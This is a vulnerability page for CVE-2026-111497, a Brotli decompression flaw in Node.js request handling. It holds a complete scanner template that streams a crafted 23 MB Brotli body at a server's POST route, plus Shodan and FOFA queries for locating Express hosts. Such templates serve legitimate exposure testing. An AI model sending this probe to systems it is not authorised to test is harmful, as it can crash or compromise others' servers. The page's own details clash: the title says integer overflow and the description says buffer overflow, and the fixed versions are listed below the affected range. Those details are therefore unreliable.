CVE-2026-111497: Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution

2026-11-09 PoC Public

Description

A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

Details

CVE
CVE-2026-111497 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-111497

info:
  name: Node.js Brotli Request-Body Integer Overflow (node2shell) - Remote Code Execution
  author: assetnote,DhiyaneshDk,goosvorbook
  severity: critical
  description: |
    A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.
  impact: |
    Remote attackers can corrupt memory, disclose sensitive data, cause denial of service, or execute arbitrary code remotely.
  remediation: |
    Update to version 1.0.10, 1.1.1, 1.2.1 or latest available version.
  reference:
    - https://github.com/assetnote/node2shell-scanner
    - https://www.slcyber.io/exposure
    - https://nvd.nist.gov/vuln/detail/CVE-2026-111497
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-111497
    epss-score: 0.82641
    epss-percentile: 0.99668
    cwe-id: CWE-190
  metadata:
    verified: true
    max-request: 6
    vendor: nodejs
    product: node.js
    shodan-query: 'http.component:"Express"'
    fofa-query: 'header="X-Powered-By: Express"'
  tags: cve,cve2026,nodejs,express,brotli,overflow,rce,node2shell,js,vkev,kev

variables:
  path: "/"

javascript:
  - pre-condition: |
      (function () {
        var explicit = parseInt(tport, 10);
        var ports = explicit ? [explicit] : [443, 80];
        for (var i = 0; i < ports.length; i++) {
          try { if (isPortOpen(thost, ports[i])) return true; } catch (e) {}
        }
        return false;
      })();

    code: |
      (function () {
        const net = require("nuclei/net");

        // 23,068,764-byte Brotli body (assetnote/node2shell), byte for byte; decompression pressure, never an executable payload
        const PREFIX = "8b000046a440861f6aaf2f0409414a104902a57a74f8fdaf473dea518f7ad4a31e";
        const UNIT = "f5a8473dea518f7ad4a31e";
        const REPS = (1 << 21) - 1;
        const PROBE_BYTES = 23068764;

        const VALID_BR = "3b";     // valid, empty Brotli stream
        const MALFORMED_BR = "ff"; // Brotli every decoder rejects
        const UNSUPPORTED = "78";  // "x", sent with Content-Encoding: x

        const UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " +
                   "(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Node2Shell/1.0.0";
        const READ_LIMIT = 1 << 18;
        const UPLOAD_REPS = 5957;
        const TIMEOUT = 30;
        const INTERIM_TIMEOUT = 2; // seconds to wait for a 100-continue / early rejection

        let SUFFIX = "528fe207";
        for (let i = 0; i < 65; i++) SUFFIX += "20";
        SUFFIX += "03";

        // binary-exponentiation concat; a naive += over 2M iterations is too slow
        function units(n) {
          let out = "", block = UNIT;
          while (n > 0) {
            if (n & 1) out += block;
            n >>= 1;
            if (n > 0) block += block;
          }
          return out;
        }

        // the javascript protocol hands us only host and port, so resolve transport by trying likely candidates once
        const TLS_PORTS = { 443: 1, 4443: 1, 8443: 1, 9443: 1, 10443: 1 };
        const explicitPort = parseInt(tport, 10);
        const candidates = explicitPort
          ? [{ port: explicitPort, tls: TLS_PORTS[explicitPort] === 1 },
             { port: explicitPort, tls: TLS_PORTS[explicitPort] !== 1 }]
          : [{ port: 443, tls: true }, { port: 80, tls: false }];

        const route = (typeof tpath === "string" && tpath.charAt(0) === "/") ? tpath : "/";
        let transport = candidates[0];

        function hostHeader() {
          const bare = transport.port === (transport.tls ? 443 : 80);
          return bare ? thost : thost + ":" + transport.port;
        }

        function parseResponse(raw) {
          let s = raw;
          while (/^HTTP\/1\.[01] 1\d\d/.test(s)) { // skip 1xx interim from Expect: 100-continue
            const cut = s.indexOf("\r\n\r\n");
            if (cut < 0) return null;
            s = s.substring(cut + 4);
          }
          const line = /^HTTP\/1\.[01] (\d{3})/.exec(s);
          if (!line) return null;
          const cut = s.indexOf("\r\n\r\n");
          if (cut < 0) {
            return { status: parseInt(line[1], 10), ctype: "", body: "", done: false };
          }
          const head = "\r\n" + s.substring(0, cut);
          const body = s.substring(cut + 4);
          const ct = /\r\ncontent-type:[ \t]*([^\r\n]*)/i.exec(head);
          const cl = /\r\ncontent-length:[ \t]*(\d+)/i.exec(head);
          const chunked = /\r\ntransfer-encoding:[^\r\n]*chunked/i.test(head);
          let done;
          if (cl) done = body.length >= parseInt(cl[1], 10);
          else if (chunked) done = body.indexOf("\r\n0\r\n\r\n") >= 0;
          else done = false;
          return {
            status: parseInt(line[1], 10),
            ctype: ct ? ct[1].trim().toLowerCase() : "",
            body: body,
            done: done
          };
        }

        // mode: false = short control body | "expect" = stream the probe behind
        // Expect: 100-continue | "stream" = stream the probe with no expectation
        function attempt(contentEncoding, contentType, bodyHex, contentLength, mode) {
          const streaming = (mode === "expect" || mode === "stream");
          const useExpect = (mode === "expect");
          const r = { error: null, status: null, ctype: "", body: "", sent: 0, aborted: false };
          let conn = null;
          try {
            conn = transport.tls
              ? net.OpenTLS("tcp", thost + ":" + transport.port)
              : net.Open("tcp", thost + ":" + transport.port);
          } catch (e) {
            r.error = "connect failed: " + e;
            return r;
          }

          try {
            conn.SetTimeout(TIMEOUT);

            let head = "POST " + route + " HTTP/1.1\r\n" +
                       "Host: " + hostHeader() + "\r\n" +
                       "User-Agent: " + UA + "\r\n" +
                       "Accept-Encoding: identity\r\n" +
                       "Content-Encoding: " + contentEncoding + "\r\n";
            if (contentType) head += "Content-Type: " + contentType + "\r\n";
            if (useExpect) head += "Expect: 100-continue\r\n"; // let a proxy reject the body before the 23 MB upload
            head += "Content-Length: " + contentLength + "\r\n" +
                    "Connection: close\r\n\r\n";
            conn.Send(head);

            let interim = "";
            if (streaming) {
              if (useExpect) {
                // Honour Expect: 100-continue - wait briefly for a 1xx (go ahead) or a
                // final status (server refused the body) before streaming the 23 MB, so a
                // patched or size-limited endpoint aborts cheaply instead of eating the upload
                conn.SetTimeout(INTERIM_TIMEOUT);
                try { interim = conn.RecvString(4096) || ""; } catch (e) {}
                if (/^HTTP\/1\.[01] [2-5]\d\d/.test(interim)) {
                  const early = parseResponse(interim);
                  r.aborted = true;
                  if (early) { r.status = early.status; r.ctype = early.ctype; r.body = early.body; }
                  try { conn.Close(); } catch (e) {}
                  return r;
                }
                conn.SetTimeout(TIMEOUT);
              }
              // a patched server tears the socket down mid-stream, so a short write is a negative signal, not an error
              try {
                conn.SendHex(PREFIX);
                r.sent += PREFIX.length / 2;
                const block = units(UPLOAD_REPS);
                const whole = Math.floor(REPS / UPLOAD_REPS);
                const rest = REPS % UPLOAD_REPS;
                for (let i = 0; i < whole; i++) {
                  conn.SendHex(block);
                  r.sent += block.length / 2;
                }
                if (rest > 0) {
                  const tail = units(rest);
                  conn.SendHex(tail);
                  r.sent += tail.length / 2;
                }
                conn.SendHex(SUFFIX);
                r.sent += SUFFIX.length / 2;
              } catch (e) {}
            } else {
              conn.SendHex(bodyHex);
              r.sent = bodyHex.length / 2;
            }

            let raw = interim;
            for (let i = 0; i < 512; i++) {
              let chunk = null;
              try { chunk = conn.RecvString(8192); } catch (e) { break; }
              if (!chunk || chunk.length === 0) break;
              raw += chunk;
              if (raw.length >= READ_LIMIT) break;
              const partial = parseResponse(raw);
              if (partial && partial.done) break;
            }

            const parsed = parseResponse(raw);
            if (!parsed) r.error = "no HTTP response";
            else {
              r.status = parsed.status;
              r.ctype = parsed.ctype;
              r.body = parsed.body;
            }
          } catch (e) {
            if (!r.error) r.error = "" + e;
          }

          try { conn.Close(); } catch (e) {}
          return r;
        }

        // the first live request settles port and TLS for every request that follows
        let transportResolved = false;
        function send(contentEncoding, contentType, bodyHex, contentLength, mode) {
          if (transportResolved) {
            return attempt(contentEncoding, contentType, bodyHex, contentLength, mode);
          }
          let first = null;
          for (let i = 0; i < candidates.length; i++) {
            transport = candidates[i];
            const r = attempt(contentEncoding, contentType, bodyHex, contentLength, mode);
            if (r.status !== null) {
              transportResolved = true;
              return r;
            }
            if (first === null) first = r;
          }
          transport = candidates[0];
          transportResolved = true;
          return first;
        }

        function control(contentEncoding, contentType, bodyHex) {
          return send(contentEncoding, contentType, bodyHex, 1, false);
        }

        function same(a, b) {
          return a.error === null && b.error === null &&
                 a.status === b.status && a.ctype === b.ctype && a.body === b.body;
        }
        function matches(a, b, mode) {
          if (mode === "status") {
            return a.error === null && b.error === null && a.status === b.status;
          }
          return same(a, b);
        }
        function failed(stage, r) {
          return "node2shell: inconclusive | " + stage + " failed: " + r.error;
        }
        function nosignal(why) {
          return "node2shell: no-signal | " + why;
        }

        // does the endpoint decompress even without a JSON content type
        const bypass = control("br", null, MALFORMED_BR);
        if (bypass.error) return failed("content-type bypass control", bypass);

        // baseline for a body that decodes cleanly
        const valid = control("br", "application/json", VALID_BR);
        if (valid.error) return failed("valid Brotli control", valid);
        if (bypass.status !== valid.status) {
          return nosignal("content-type bypass and valid Brotli controls returned different statuses");
        }

        // baseline for a Brotli decode failure
        const malformed = control("br", "application/json", MALFORMED_BR);
        if (malformed.error) return failed("malformed Brotli control", malformed);

        let mode = null;
        if (valid.status !== malformed.status) mode = "status";
        else if (same(bypass, valid) && !same(valid, malformed)) mode = "exact-response";
        if (!mode) {
          return nosignal("the controls did not establish distinct route and malformed-Brotli response classes");
        }

        // an unhandled encoding must not look like the route, or the comparison is meaningless
        const unsupported = control("x", "application/json", UNSUPPORTED);
        if (unsupported.error) return failed("unsupported encoding control", unsupported);
        if (matches(unsupported, valid, mode)) {
          return nosignal("the unsupported encoding control matched the route response class");
        }

        let probe = send("br", "application/json", null, PROBE_BYTES, "expect");
        if (probe.aborted && probe.status === 417) {
          // RFC 9110 10.1.1: a client that receives 417 repeats the request without
          // the expectation, otherwise an Expect-unaware hop hides a vulnerable origin
          probe = send("br", "application/json", null, PROBE_BYTES, "stream");
        }
        if (probe.aborted) {
          return nosignal("the server answered HTTP " + probe.status + " before reading the body, so the probe was never decompressed");
        }
        if (probe.sent !== PROBE_BYTES) {
          return nosignal("the probe was not fully uploaded (" + probe.sent + "/" + PROBE_BYTES + " bytes)");
        }
        if (probe.error) return failed("CVE probe", probe);

        // the endpoint survived and still answers the way it did before the probe
        const after = control("br", "application/json", VALID_BR);
        if (after.error) return failed("final valid Brotli control", after);
        if (!matches(valid, after, mode)) {
          return nosignal("the route response class changed after the probe");
        }

        if (matches(probe, valid, mode)) {
          return "node2shell: VULNERABLE | CVE-2026-111497 | path=" + route +
                 " | comparison=" + mode +
                 " | probe=HTTP" + probe.status +
                 " | reject=HTTP" + malformed.status;
        }
        if (matches(probe, malformed, mode)) {
          return nosignal("the probe reached the malformed-Brotli response class (HTTP " + probe.status + ")");
        }
        return nosignal("the probe matched neither learned response class (HTTP " + probe.status + ")");
      })()

    args:
      thost: "{{Host}}"
      tport: "{{Port}}"
      tpath: "{{path}}"

    matchers:
      - type: word
        words:
          - "node2shell: VULNERABLE"
# digest: 490a0046304402206b8f34b26c126db141a9cf7d35b74e72a585f875688e9ca3d529ed1414c886eb02204fd6f1a6ed047136304e42353840b8b109dbd972c6795b5896887e19e954dffe:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life